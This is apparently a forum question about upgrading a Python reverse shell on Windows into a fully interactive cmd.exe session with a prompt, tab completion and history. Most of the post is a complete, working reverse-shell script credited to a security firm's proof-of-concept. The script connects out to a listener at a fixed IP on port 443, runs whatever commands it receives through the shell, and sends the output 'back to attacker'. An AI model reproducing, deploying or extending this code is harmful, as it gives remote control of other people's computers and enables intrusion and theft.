I was playing around with this on Windows, with netcat listening on a second device:
#!/usr/bin/python
import socket
import subprocess
HOST = '192.168.225.136' # The remote host
PORT = 443 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# loop forever
while 1:
# recv command line param
data = s.recv(1024)
# execute command line
proc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
# grab output from commandline
stdout_value = proc.stdout.read() + proc.stderr.read()
# send back to attacker
s.send(stdout_value)
# quit out afterwards and kill socket
s.close()
Source: https://www.trustedsec.com/files/RevShell_PoC_v1.py
Is there a way to spawn a fully interactive cmd.exe
shell? I can't even run the time
command without it locking up because it expects input. Any command that expects input will just cause it to stall until ^C
.
It would be nice to have the little prompt (i.e. C:\>
), tab completion, ↑ history, like a proper tty. I've found a few techniques suitable for /bin/sh
and /bin/bash
on Unix & Linux but nothing so far for Windows cmd.exe
.